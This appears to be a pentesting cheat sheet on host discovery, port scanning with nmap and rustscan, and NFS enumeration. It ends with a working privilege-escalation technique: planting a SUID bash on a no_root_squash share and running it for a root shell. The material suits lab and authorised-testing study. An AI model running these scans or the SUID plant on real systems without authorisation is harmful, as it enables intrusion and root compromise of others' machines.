> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.

# Port Scanning

## Ping Sweep

Quick host discovery before port scanning. Replace `$SUBNET` with the first three octets (e.g. `10.10.110`).

### Linux

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Background pings, print only live hosts
for i in $(seq 1 254); do ping -c1 -W1 $SUBNET.$i & done | grep "64 bytes"

# fping: cleaner, built for sweeps
fping -a -g $SUBNET.0/24 2>/dev/null

# nmap host discovery only (no port scan)
nmap -sn $SUBNET.0/24

# nmap host discovery, no DNS resolution (faster on large ranges)
nmap -sn -n $SUBNET.0/24 --min-rate 2000
```

### Windows

```cmd theme={"theme":{"light":"night-owl","dark":"night-owl"}}
:: CMD: sweep and print lines with TTL (live hosts)
for /L %i in (1,1,254) do @ping -n 1 -w 200 $SUBNET.%i | findstr "TTL"
```

```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# PowerShell: sequential
1..254 | ForEach-Object {
    $ip = "$SUBNET.$_"
    if (Test-Connection -Count 1 -Quiet -ComputerName $ip) { Write-Output $ip }
}

# PowerShell 7: parallel (much faster)
1..254 | ForEach-Object -Parallel {
    $ip = "$using:SUBNET.$_"
    if (Test-Connection -Count 1 -Quiet -ComputerName $ip) { Write-Output $ip }
} -ThrottleLimit 50
```

***

## nmap

Two-phase workflow: fast full TCP scan to find open ports, then a targeted service + script scan on just those ports.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Fast full TCP
nmap -p- --min-rate 5000 -T4 <IP> -oN full.txt

# Targeted service scan
nmap -sV -sC -p <ports> <IP> -oN targeted.txt

# UDP scan (top 100)
nmap -sU --top-ports 100 <IP>

# OS detection
nmap -O <IP>

# Vuln scripts
nmap --script vuln -p <ports> <IP>
```

## rustscan

Faster initial port discovery than nmap: pipe results straight into nmap for service scanning.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
rustscan -a <IP> -- -sV -sC
```

## NFS

NFS runs on port 2049, with portmapper/rpcbind on 111 handling service registration. Enumerate exports first, then mount.

### Enumeration

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# nmap NFS scripts
nmap -sV -p 111,2049 $TARGET
nmap --script nfs-ls,nfs-showmount,nfs-statfs -p 111,2049 $TARGET

# rpcinfo: list all RPC services registered on the host
rpcinfo -p $TARGET

# showmount: list exported shares and which hosts can access them
showmount -e $TARGET
```

### Mounting

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Mount an export
mkdir /mnt/nfs
mount -t nfs $TARGET:/share /mnt/nfs

# Force NFSv3 if v4 causes issues
mount -t nfs $TARGET:/share /mnt/nfs -o vers=3,nolock

# Mount as read-only to avoid touching the share
mount -t nfs $TARGET:/share /mnt/nfs -o ro

# Unmount
umount /mnt/nfs
```

### no\_root\_squash Abuse

By default NFS maps root (UID 0) from the client to an anonymous user on the server (`root_squash`). If the export is configured with `no_root_squash`, root on your attacker machine is root on the server's share.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Check /etc/exports on the target for misconfigured exports
cat /etc/exports
# Vulnerable line looks like:
# /share  *(rw,no_root_squash)

# With no_root_squash: plant a SUID bash on the share as root
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash

# On the target: execute the planted binary
/share/bash -p
# -p preserves the effective UID (SUID), gives root shell
```